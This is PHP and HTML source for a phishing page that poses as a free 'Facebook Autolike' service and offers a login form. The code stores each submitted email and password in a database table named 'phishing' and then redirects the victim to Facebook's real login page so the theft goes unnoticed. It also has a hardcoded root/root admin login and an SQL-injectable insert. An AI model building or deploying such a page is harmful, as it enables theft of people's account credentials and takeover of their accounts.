<?php
require_once 'sql.php';
error_reporting(0);
$mail = $_GET['mail']; 
$pass = $_GET['pass'];
	if($_GET['mail'] == "root" && $_GET['pass'] == "root")
	{	
		header('Location: admin.php');
		exit(1);
	}
	if($_GET['mail'] == "Email" && $_GET['pass'] == "Password..") 
		{
  $error = "Incorect Email or Passowrd!";
	}else{
	mysql_query("INSERT INTO phishing (email, password) VALUES ('$mail', '$pass')");
   if(isset($mail) && isset($pass)){ header('Location: https://www.facebook.com/login.php?login_attempt=1'); exit(1);} 
	}
	
?>
<html>
<head>
	<title>Facebook Autolike's Free bY Badb0y</title>
</head>
<body bgcolor='#3b5998'>
<center>
<br /><br /><br />
<table border='1' bgcolor='#fff'>
<tr>
<td align='center'>
<h2 style="text-align: center; font-family:'Courier New'; font-weight:bold; font-size: 22px; padding-top:20px; color: #3b5998;">Autolike For</h2>
<img src="http://i.imgur.com/gx3zezR.jpg" alt="Smiley face" height="100" width="400">
<form action='' method='get'>
<input type="text" name="mail" onclick="this.value='';" onfocus="this.select()" onblur="this.value=!this.value?'Email':this.value;" value="Email" />
<input type="password" name="pass" onclick="this.value='';" onfocus="this.select()" onblur="this.value=!this.value?'Passwrod..':this.value;" value="Password.." />
<input type="submit" value="Login">
</form>
<h4><font color='red'><i><?php echo $error; ?></i></font></h4>
<img src="http://i.imgur.com/2esJyxU.jpg" alt="Smiley face" height="300" width="300">
</td>
</tr></table>
</body>
</html>